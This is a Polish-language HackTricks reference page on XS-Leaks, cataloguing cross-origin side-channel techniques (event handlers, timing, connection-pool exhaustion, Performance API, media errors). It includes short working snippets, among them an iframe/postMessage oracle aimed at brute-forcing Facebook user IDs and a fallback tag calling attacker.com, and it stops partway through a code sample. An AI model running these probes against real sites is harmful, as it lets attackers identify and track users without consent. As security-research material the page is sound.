XS-Search/XS-Leaks
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
XS-Search to metoda używana do wydobywania informacji cross-origin poprzez wykorzystanie błędów kanału bocznego.
Kluczowe składniki tego ataku obejmują:
- Vulnerable Web: Docelowa strona, z której ma zostać wydobyta informacja.
- Attacker’s Web: Złośliwa strona stworzona przez atakującego, którą odwiedza ofiara i która hostuje exploit.
- Inclusion Method: Technika używana do włączenia Vulnerable Web w Attacker’s Web (np. window.open, iframe, fetch, tag HTML z href, itd.).
- Leak Technique: Techniki używane do rozróżnienia stanów Vulnerable Web na podstawie informacji zebranych przez inclusion method.
- States: Dwa możliwe stany Vulnerable Web, które atakujący próbuje rozróżnić.
- Detectable Differences: Obserwowalne różnice, na których atakujący polega, aby wywnioskować stan Vulnerable Web.
Wykrywalne różnice
Kilka aspektów może być analizowanych, aby odróżnić stany Vulnerable Web:
- Status Code: Rozróżnianie między różnymi kodami odpowiedzi HTTP cross-origin, jak błędy serwera, błędy klienta czy błędy uwierzytelniania.
- API Usage: Identyfikacja użycia Web API na stronach, ujawniająca czy cross-origin strona korzysta z konkretnego JavaScript Web API.
- Redirects: Wykrywanie nawigacji do różnych stron — nie tylko HTTP redirectów, ale także tych wywołanych przez JavaScript lub HTML.
- Page Content: Obserwowanie różnic w treści odpowiedzi HTTP lub w podzasobach strony, takich jak liczba osadzonych ramek czy różnice w rozmiarze obrazów.
- HTTP Header: Zauważanie obecności lub ewentualnie wartości konkretnego nagłówka odpowiedzi HTTP, w tym nagłówków takich jak X-Frame-Options, Content-Disposition, i Cross-Origin-Resource-Policy.
- Timing: Zauważanie stałych różnic czasowych między dwoma stanami.
Inclusion Methods
- HTML Elements: HTML oferuje różne elementy do cross-origin resource inclusion, takie jak style, obrazy czy skrypty, zmuszając przeglądarkę do żądania zasobu nie-HTML. Kompilację potencjalnych elementów HTML do tego celu można znaleźć pod adresem https://github.com/cure53/HTTPLeaks.
- Frames: Elementy takie jak iframe, object i embed mogą osadzać zasoby HTML bezpośrednio w stronie atakującego. Jeśli strona nie ma ochrony przed framingiem, JavaScript może uzyskać dostęp do obiektu window osadzonego zasobu poprzez właściwość contentWindow.
- Pop-ups: Metoda
window.openotwiera zasób w nowej karcie lub oknie, dostarczając uchwyt okna dla JavaScript do interakcji z metodami i właściwościami zgodnie z SOP. Pop-upy, często używane w single sign-on, omijają ograniczenia związane z framingiem i ciasteczkami zasobu docelowego. Jednak nowoczesne przeglądarki ograniczają tworzenie pop-upów do niektórych akcji użytkownika. - JavaScript Requests: JavaScript umożliwia bezpośrednie żądania do zasobów docelowych za pomocą XMLHttpRequests lub Fetch API. Te metody dają precyzyjną kontrolę nad żądaniem, np. możliwość podążania za HTTP redirectami.
Leak Techniques
- Event Handler: Klasyczna leak technique w XS-Leaks, gdzie obsługiwacze zdarzeń takie jak onload i onerror dostarczają informacji o sukcesie lub porażce ładowania zasobu.
- Error Messages: Wyjątki JavaScript lub specjalne strony błędów mogą dostarczać informacji leak albo bezpośrednio z treści błędu, albo poprzez rozróżnienie między ich obecnością a brakiem.
- Global Limits: Fizyczne ograniczenia przeglądarki, jak pojemność pamięci czy inne narzucone limity, mogą sygnalizować osiągnięcie progu i służyć jako leak technique.
- Global State: Wykrywalne interakcje ze stanami globalnymi przeglądarek (np. interfejs History) mogą być wykorzystane. Przykładowo, liczba wpisów w historii przeglądarki może dawać wskazówki o stronach cross-origin.
- Performance API: To API dostarcza szczegóły wydajności aktualnej strony, w tym timing sieciowy dla dokumentu i załadowanych zasobów, umożliwiając wnioskowanie o żądanych zasobach.
- Readable Attributes: Niektóre atrybuty HTML są czytelne cross-origin i mogą być użyte jako leak technique. Na przykład właściwość
window.frame.lengthpozwala JavaScript policzyć ramki włączone w stronę cross-origin.
XSinator — narzędzie i artykuł
XSinator to automatyczne narzędzie do sprawdzania przeglądarek pod kątem kilku znanych XS-Leaks wyjaśnionych w jego artykule: https://xsinator.com/paper.pdf
Możesz uzyskać dostęp do narzędzia pod https://xsinator.com/
Warning
Excluded XS-Leaks: Musieliśmy wykluczyć XS-Leaks, które polegają na service workers, ponieważ zakłóciłyby one inne leaks w XSinator. Dodatkowo postanowiliśmy wyłączyć XS-Leaks opierające się na niewłaściwej konfiguracji i błędach w konkretnej aplikacji webowej. Na przykład CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage lub Cross-Site Scripting. Ponadto wykluczyliśmy timebased XS-Leaks, ponieważ często są powolne, głośne i niedokładne.
Techniki oparte na czasie
Niektóre z poniższych technik będą używać timingu jako części procesu wykrywania różnic w możliwych stanach stron. Istnieją różne sposoby mierzenia czasu w przeglądarce.
Clocks: API performance.now() pozwala developerom uzyskać wysokorozdzielcze pomiary czasu.
Istnieje znacząca liczba API, które atakujący mogą nadużyć do tworzenia niejawnych zegarów: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, animacje CSS i inne.
Więcej informacji: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Techniki obsługi zdarzeń
Onload/Onerror
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Summary: Jeśli próbuje się załadować zasób, zdarzenia onerror/onload są wyzwalane odpowiednio, gdy zasób został załadowany niepomyślnie/pomyślnie — dzięki temu można ustalić kod statusu.
- Code example: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
Przykład kodu próbuje załadować skrypty/obiekty z JS, ale inne tagi takie jak object, stylesheets, images, audios również mogą być użyte. Co więcej, możliwe jest także wstrzyknięcie taga bezpośrednio i zadeklarowanie zdarzeń onload oraz onerror wewnątrz taga (zamiast wstrzykiwać je z JS).
Istnieje również wersja tego ataku bez skryptów:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
W tym wypadku, jeśli example.com/404 nie zostanie znaleziony, zostanie załadowane attacker.com/?error.
Content-Type/CORB script load oracle
- Metody dołączenia: HTML Elements (script)
- Wykrywana różnica: Header / Content-Type via onload vs onerror (CORB)
- Podsumowanie: Jeśli endpoint zwraca HTML przy dopasowaniu a JSON przy niedopasowaniu, załaduj go z
<script src>. HTML wywołujeonload; JSON jest CORB-blocked i wywołujeonerror, dając booleanowy oracle do brute-force identyfikatorów takich jak__userw znanym scope. - Uwagi: Działa cross-origin bez czytania body; przydatne do enumeracji aktywnego konta gdy jeden tenant ID jest ustalony.
postMessage vs X-Frame-Options deny oracle
- Metody dołączenia: Frames
- Wykrywana różnica: Header (XFO) + postMessage presence/absence
- Podsumowanie: Niektóre widgety wysyłają postMessage do rodzica po załadowaniu. Jeśli żądanie jest umieszczone w ramce z błędnym identyfikatorem, serwer może odpowiedzieć
X-Frame-Options: deny, uniemożliwiając renderowanie i przez to nie zostanie wysłana żadna wiadomość. Ustawiając iframesrcz kandydackim ID, czekając na zdarzeniemessage(sukces) i traktując timeout/brak wiadomości jako porażkę, można brute-force’ować aktywne konto. - Minimal snippet:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
- Related: PostMessage Vulnerabilities
Więcej pułapek związanych z message/iframe.
Onload Timing
- Metody włączenia: HTML Elements
- Wykrywalna różnica: Czas (zwykle z powodu zawartości strony, kodu statusu)
- Więcej info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Podsumowanie: The performance.now() API może być użyte do zmierzenia, ile czasu zajmuje wykonanie żądania. Jednakże, inne zegary mogą być użyte, takie jak PerformanceLongTaskTiming API, które mogą identyfikować zadania trwające dłużej niż 50ms.
- Przykład kodu: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events kolejny przykład w:
Onload Timing + Forced Heavy Task
Ta technika jest podobna do poprzedniej, ale attacker dodatkowo force pewną akcję, aby zajęła relevant amount time gdy answer is positive or negative, i mierzy ten czas.
performance.now + Force heavy task
unload/beforeunload Timing
- Metody włączenia: Frames
- Wykrywalna różnica: Czas (zwykle z powodu zawartości strony, kodu statusu)
- Więcej info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Podsumowanie: The SharedArrayBuffer clock może być użyty do zmierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary także mogą być użyte.
- Przykład kodu: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Czas potrzebny na pobranie zasobu można zmierzyć, wykorzystując zdarzenia unload i beforeunload. Zdarzenie beforeunload jest wywoływane, gdy przeglądarka ma zamiar przejść do nowej strony, natomiast zdarzenie unload występuje, gdy nawigacja faktycznie się odbywa. Różnicę czasową między tymi dwoma zdarzeniami można obliczyć, aby określić czas, jaki przeglądarka spędziła na pobieraniu zasobu.
Sandboxed Frame Timing + onload
- Metody włączenia: Frames
- Wykrywalna różnica: Czas (zwykle z powodu zawartości strony, kodu statusu)
- Więcej info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Podsumowanie: The performance.now() API może być użyte do zmierzenia, ile czasu zajmuje wykonanie żądania. Inne zegary również mogą być użyte.
- Przykład kodu: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Zaobserwowano, że przy braku Framing Protections, czas potrzebny na załadowanie strony i jej subresource’ów przez sieć może być mierzony przez attacker. Ten pomiar jest zwykle możliwy, ponieważ handler onload iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonaniu JavaScript. Aby ominąć zmienność wprowadzoną przez wykonywanie skryptów, attacker może zastosować atrybut sandbox w <iframe>. Dodanie tego atrybutu ogranicza wiele funkcji, w szczególności wykonywanie JavaScript, ułatwiając tym samym pomiar, który jest w przeważającej mierze zależny od wydajności sieci.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Inclusion Methods: Frames
- Detectable Difference: Zawartość strony
- More info:
- Summary: Jeśli możesz spowodować, że strona zgłosi błąd przy dostępie do poprawnej zawartości i poprawnie się załaduje przy dostępie do dowolnej innej zawartości, możesz utworzyć pętlę, która wyciągnie wszystkie informacje bez mierzenia czasu.
- Code Example:
Załóżmy, że możesz wstawić stronę zawierającą sekretną zawartość wewnątrz Iframe.
Możesz sprawić, by ofiara wyszukała plik zawierający “flag” używając Iframe (wykorzystując np. CSRF). Wewnątrz Iframe wiesz, że onload event zostanie wykonany przynajmniej raz. Następnie możesz zmieniać URL iframe, modyfikując tylko zawartość fragmentu hash w URL.
Na przykład:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
Jeśli pierwsze URL zostało pomyślnie załadowane, to przy zmianie części hash w URL onload nie zostanie wywołany ponownie. Ale jeśli strona miała jakiś błąd podczas ładowania, wtedy onload zostanie wywołany ponownie.
W ten sposób możesz rozróżnić, czy strona została poprawnie załadowana, czy wystąpił przy niej błąd.
Javascript Execution
- Inclusion Methods: Frames
- Detectable Difference: Zawartość strony
- More info:
- Summary: Jeśli strona zwraca wrażliwą zawartość lub zawartość, którą można kontrolować przez użytkownika. Użytkownik mógłby umieścić poprawny kod JS w przypadku negatywnym, ładując przy każdym teście wewnątrz tagów
<script>, więc w przypadkach negatywnych kod atakującego zostanie wykonany, a w przypadkach pozytywnych nic nie zostanie wykonane. - Code Example:
CORB - Onerror
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code & Headers
- More info: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Summary: Cross-Origin Read Blocking (CORB) to mechanizm zabezpieczający, który zapobiega ładowaniu niektórych wrażliwych zasobów cross-origin, chroniąc przed atakami takimi jak Spectre. Jednak atakujący mogą wykorzystać jego zachowanie. Gdy odpowiedź objęta CORB zwraca CORB protected
Content-Typeznosniffi kodem statusu2xx, CORB usuwa ciało odpowiedzi i jej nagłówki. Atakujący obserwujący to mogą wywnioskować kombinację status code (wskazującego sukces lub błąd) iContent-Type(oznaczającego, czy jest chroniony przez CORB), co prowadzi do potencjalnego ujawnienia informacji. - Code Example:
Sprawdź link More info, aby uzyskać więcej informacji o ataku.
onblur
- Inclusion Methods: Frames
- Detectable Difference: Zawartość strony
- More info: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Summary: Ujawnianie wrażliwych danych z atrybutu id lub name.
- Code Example: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
Możliwe jest załadowanie strony wewnątrz iframe i użycie #id_value, aby spowodować, że strona ustawi fokus na elemencie iframe o wskazanym id; jeśli zostanie wyemitowany sygnał onblur, element o tym ID istnieje.
Ten sam atak można wykonać przy użyciu tagów portal.
postMessage Broadcasts
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Summary: Zbieranie wrażliwych informacji z postMessage lub użycie obecności postMessages jako orakulum do poznania stanu użytkownika na stronie
- Code Example:
Any code listening for all postMessages.
Aplikacje często używają postMessage broadcasts do komunikacji między różnymi originami. Jednak ta metoda może nieumyślnie ujawnić wrażliwe informacje, jeśli parametr targetOrigin nie jest poprawnie określony, pozwalając dowolnemu oknu odbierać wiadomości. Ponadto samo odbieranie wiadomości może służyć jako orakulum; np. pewne wiadomości mogą być wysyłane tylko do zalogowanych użytkowników. W związku z tym obecność lub brak tych wiadomości może ujawnić stan lub tożsamość użytkownika, np. czy jest uwierzytelniony.
Global Limits Techniques
WebSocket API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Wyczerpanie limitu połączeń WebSocket ujawnia liczbę połączeń WebSocket strony cross-origin.
- Code Example: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
Można zidentyfikować, czy i ile WebSocket connections a target page uses. Pozwala to atakującemu wykryć stany aplikacji i wyciekać informacje związane z liczbą połączeń WebSocket.
Jeśli jeden origin używa maksymalnej liczby obiektów WebSocket, niezależnie od ich stanu, tworzenie nowych obiektów spowoduje JavaScript exceptions. Aby wykonać ten atak, strona atakująca otwiera stronę celu w pop-upie lub iframe, a po załadowaniu celu próbuje utworzyć maksymalną liczbę połączeń WebSocket możliwych do utworzenia. Liczba rzuconych wyjątków to liczba połączeń WebSocket używanych przez okno strony docelowej.
Payment API
- Inclusion Methods: Frames, Pop-ups
- Detectable Difference: API Usage
- More info: https://xsinator.com/paper.pdf (5.1)
- Summary: Wykrywanie użycia Payment Request, ponieważ tylko jedno może być aktywne jednocześnie.
- Code Example: https://xsinator.com/testing.html#Payment%20API%20Leak
Ten XS-Leak pozwala atakującemu wykryć, kiedy strona cross-origin inicjuje payment request.
Ponieważ tylko jedno payment request może być aktywne jednocześnie, jeśli strona celu używa Payment Request API, dalsze próby użycia tego API będą się nie powieść i spowodują JavaScript exception. Atakujący może to wykorzystać, okresowo próbując wyświetlić UI Payment API. Jeśli jedna z prób spowoduje wyjątek, strona celu aktualnie go używa. Atakujący może ukryć te okresowe próby natychmiast zamykając UI po jego utworzeniu.
Timing the Event Loop
- Inclusion Methods:
- Detectable Difference: Pomiar czasu (zwykle z powodu Zawartości strony, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Summary: Mierzenie czasu wykonania kodu webowego wykorzystując jednowątkowy event loop JS.
- Code Example:
Event Loop Blocking + Lazy images
JavaScript działa na modelu współbieżności single-threaded event loop, co oznacza, że może wykonywać tylko jedno zadanie naraz. Ta cecha może być wykorzystana do oszacowania, jak długo kod z innego originu zajmuje wykonanie. Atakujący może mierzyć czas wykonania własnego kodu w event loop, ciągle dispatchując zdarzenia o stałych właściwościach. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne originy również dispatchują zdarzenia do tej puli, atakujący może wywnioskować czas wykonania tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich zadań. Ten sposób monitorowania event loop pod kątem opóźnień może ujawnić czas wykonania kodu z różnych originów, potencjalnie odsłaniając wrażliwe informacje.
Warning
W ataku bazującym na execution timing możliwe jest wyeliminowanie czynników sieciowych w celu uzyskania dokładniejszych pomiarów. Na przykład poprzez wcześniejsze załadowanie zasobów używanych przez stronę przed jej załadowaniem.
Busy Event Loop
- Inclusion Methods:
- Detectable Difference: Pomiar czasu (zwykle z powodu Zawartości strony, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Summary: Jedną z metod pomiaru czasu wykonania operacji webowej jest celowe zablokowanie event loop w wątku, a następnie zmierzenie, jak długo zajmuje ponowne udostępnienie event loop. Wstawiając operację blokującą (np. długie obliczenie lub synchroniczne wywołanie API) do event loop i monitorując czas, po którym kolejny kod zaczyna się wykonywać, można wywnioskować czas trwania zadań, które były wykonywane w event loop podczas okresu blokady. Technika ta wykorzystuje jednowątkową naturę event loop JavaScript, gdzie zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
- Code Example:
Znaczącą zaletą techniki mierzenia czasu przez blokowanie event loop jest jej potencjał do obejścia Site Isolation. Site Isolation to funkcja bezpieczeństwa, która dzieli różne strony na oddzielne procesy, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych innych stron. Jednak wpływając na czas wykonania innego originu przez współdzielony event loop, atakujący może pośrednio wydobyć informacje o aktywnościach tego originu. Ta metoda nie polega na bezpośrednim dostępie do danych innego originu, lecz obserwuje wpływ jego aktywności na współdzielony event loop, omijając w ten sposób bariery ochronne ustanowione przez Site Isolation.
Warning
W ataku bazującym na execution timing możliwe jest wyeliminowanie czynników sieciowych w celu uzyskania dokładniejszych pomiarów. Na przykład poprzez wcześniejsze załadowanie zasobów używanych przez stronę przed jej załadowaniem.
Connection Pool
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Pomiar czasu (zwykle z powodu Zawartości strony, Status Code)
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Summary: Atakujący może zablokować wszystkie sockety poza jednym, załadować stronę celu i jednocześnie załadować inną stronę; czas do momentu, gdy ostatnia strona zacznie się ładować, odpowiada czasowi ładowania strony celu.
- Code Example:
Przeglądarki używają socketów do komunikacji z serwerami, ale z powodu ograniczeń systemu operacyjnego i sprzętu przeglądarki zmuszone są nakładać limit na liczbę jednoczesnych socketów. Atakujący mogą wykorzystać to ograniczenie w następujący sposób:
- Ustalić limit socketów przeglądarki, np. 256 globalnych socketów.
- Zajęć 255 socketów na dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, by połączenia pozostały otwarte bez zakończenia.
- Użyć 256. socketu do wysłania żądania do strony celu.
- Spróbować wykonać 257. żądanie do innego hosta. Ponieważ wszystkie sockety są używane (zgodnie z krokami 2 i 3), to żądanie zostanie odroczone do momentu zwolnienia socketu. Opóźnienie przed rozpoczęciem tego żądania dostarcza atakującemu informacji czasowych dotyczących aktywności sieciowej związanej z 256. socketem (socket strony celu). To wnioskowanie jest możliwe, ponieważ 255 socketów z kroku 2 są nadal zajęte, co oznacza, że dowolny dostępny socket musi być tym zwolnionym z kroku 3. Czas potrzebny na udostępnienie 256. socketu jest więc bezpośrednio powiązany z czasem zakończenia żądania do strony celu.
Więcej info: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Inclusion Methods: JavaScript Requests
- Detectable Difference: Pomiar czasu (zwykle z powodu Zawartości strony, Status Code)
- More info:
- Summary: Podobne do poprzedniej techniki, ale zamiast używać wszystkich socketów, Google Chrome wprowadza limit 6 jednoczesnych requestów do tego samego origin. Jeśli zablokujemy 5 i uruchomimy 6. request, możemy go zmierzyć, a jeśli uda nam się sprawić, że strona ofiary wyśle więcej requestów do tego samego endpointu, aby wykryć status strony, 6. request będzie trwał dłużej i będziemy mogli to wykryć.
Performance API Techniques
The Performance API oferuje wgląd w metryki wydajności aplikacji webowych, wzbogacony przez Resource Timing API. Resource Timing API umożliwia monitorowanie szczegółowych czasów żądań sieciowych, takich jak czas trwania żądań. Jeśli serwery dołączają nagłówek Timing-Allow-Origin: * w odpowiedziach, dodatkowe dane jak rozmiar transferu i czas wyszukiwania domeny stają się dostępne.
Te dane można pobierać za pomocą metod takich jak performance.getEntries lub performance.getEntriesByName, co daje kompleksowy obraz informacji związanych z wydajnością. Dodatkowo API umożliwia mierzenie czasu wykonania poprzez obliczenie różnicy między znacznikami czasu uzyskanymi z performance.now(). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja performance.now() może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.
Poza pomiarami czasu, Performance API może być wykorzystane do uzyskania informacji związanych z bezpieczeństwem. Na przykład obecność lub brak stron w obiekcie performance w Chrome może wskazywać na stosowanie X-Frame-Options. Konkretnie, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu X-Frame-Options, nie zostanie zarejestrowana w obiekcie performance, co daje subtelną wskazówkę dotyczącą polityk ramkowania strony.
Error Leak
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Żądanie, które skutkuje błędem, nie utworzy wpisu w resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
Możliwe jest rozróżnienie kodów odpowiedzi HTTP, ponieważ żądania, które prowadzą do błędu nie tworzą wpisu w performance.
Style Reload Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Z powodu bugów w przeglądarce, zasoby kończące się błędem są ładowane dwukrotnie.
- Code Example: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
W poprzedniej technice zidentyfikowano też dwa przypadki, w których bugi przeglądarki GC powodują ponowne ładowanie zasobów, gdy nie uda się ich załadować. To skutkuje wieloma wpisami w Performance API i można to wykryć.
Request Merging Error
- Inclusion Methods: HTML Elements
- Detectable Difference: Status Code
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Żądań kończących się błędem nie da się zmerge’ować.
- Code Example: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Technika została wspomniana w tabeli w wymienionym artykule, ale nie znaleziono w nim opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- Inclusion Methods: Frames
- Detectable Difference: Zawartość strony
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Puste odpowiedzi nie tworzą wpisów resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowiedzi HTTP, ponieważ puste strony nie tworzą wpisu w performance w niektórych przeglądarkach.
XSS-Auditor Leak
- Inclusion Methods: Frames
- Detectable Difference: Zawartość strony
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Wykorzystując XSS Auditor w Security Assertions, atakujący mogą wykrywać specyficzne elementy strony przez obserwowanie zmian w odpowiedziach, gdy spreparowane payloady uruchamiają mechanizm filtrowania audytora.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
W Security Assertions (SA), XSS Auditor, pierwotnie mający zapobiegać Cross-Site Scripting (XSS), może paradoksalnie zostać wykorzystany do ujawniania wrażliwych informacji. Chociaż ta funkcja została usunięta z Google Chrome (GC), wciąż istnieje w SA. W 2013 Braun i Heiderich pokazali, że XSS Auditor może przypadkowo blokować legalne skrypty, prowadząc do false positives. Na tej podstawie badacze opracowali techniki wyciągania informacji i wykrywania specyficznej zawartości na stronach cross-origin — koncepcję znaną jako XS-Leaks, pierwotnie zgłoszoną przez Teradę i rozbudowaną przez Heyesa w poście na blogu. Chociaż techniki te były specyficzne dla XSS Auditor w GC, odkryto, że w SA strony zablokowane przez XSS Auditor nie generują wpisów w Performance API, co ujawnia metodę, przez którą nadal mogą występować wycieki wrażliwych informacji.
X-Frame Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Summary: Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Jeśli strona nie może być renderowana w iframe, nie tworzy wpisu w performance. W rezultacie atakujący może wykryć nagłówek odpowiedzi X-Frame-Options.
To samo dzieje się przy użyciu tagu embed.
Download Detection
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Pliki pobierane nie tworzą wpisów resource timing w Performance API.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Podobnie jak w opisywanym XS-Leak, zasób, który jest pobierany z powodu nagłówka ContentDisposition, również nie tworzy wpisu w performance. Technika działa we wszystkich głównych przeglądarkach.
Redirect Start Leak
- Inclusion Methods: Frames
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Wpis resource timing ujawnia czas rozpoczęcia redirectu.
- Code Example: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Znaleźliśmy instancję XS-Leak, która wykorzystuje zachowanie niektórych przeglądarek logujących zbyt dużo informacji dla żądań cross-origin. Standard definiuje podzbiór atrybutów, które powinny być ustawione na zero dla zasobów cross-origin. Jednak w SA możliwe jest wykrycie, czy użytkownik został przekierowany przez stronę celu, poprzez zapytanie do Performance API i sprawdzenie danych redirectStart.
Duration Redirect Leak
- Inclusion Methods: Fetch API
- Detectable Difference: Redirect
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Czas trwania wpisów timing jest ujemny, gdy występuje redirect.
- Code Example: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
W GC, duration dla żądań prowadzących do redirectu jest ujemny i można go odróżnić od żądań bez redirectu.
CORP Leak
- Inclusion Methods: Frames
- Detectable Difference: Header
- More info: https://xsinator.com/paper.pdf (5.2)
- Summary: Zasób chroniony nagłówkiem CORP nie tworzy wpisów resource timing.
- Code Example: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
W niektórych przypadkach wpis nextHopProtocol może być użyty jako technika ujawniania. W GC, gdy ustawiony jest nagłówek CORP, nextHopProtocol będzie pusty. Zauważ, że w SA zasoby z CORP wcale nie tworzą wpisu w performance.
Service Worker
- Inclusion Methods: Frames
- Detectable Difference: API Usage
- More info: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Summary: Wykrywanie, czy dla danego origin zarejestrowano service workera.
- Code Example:
Service workery są event-driven contextami skryptów działającymi na origin. Działają w tle strony i mogą przechwytywać, modyfikować i cache resources w celu stworzenia offline web application.
Jeśli zasób zcache’owany przez service worker jest dostępny przez iframe, zasób zostanie załadowany z cache service workera.
Aby wykryć, czy zasób był załadowany z cache service workera, można użyć Performance API.
Można to również zrobić za pomocą timing attack (sprawdź artykuł, aby uzyskać więcej informacji).
Cache
- Inclusion Methods: Fetch API
- Detectable Difference: Pomiar czasu
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Summary: Można sprawdzić, czy zasób został zapisany w cache.
- Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Przy użyciu Performance API możliwe jest sprawdzenie, czy zasób jest w cache.
Network Duration
- Inclusion Methods: Fetch API
- Detectable Difference: Zawartość strony
- More info: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Summary: Można pobrać czas trwania żądania sieciowego z
performanceAPI. - Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Inclusion Methods: HTML Elements (Video, Audio)
- Detectable Difference: Status Code
- More info: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Summary: W Firefox można dokładnie wyciec status code żądania cross-origin.
- Code Example: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
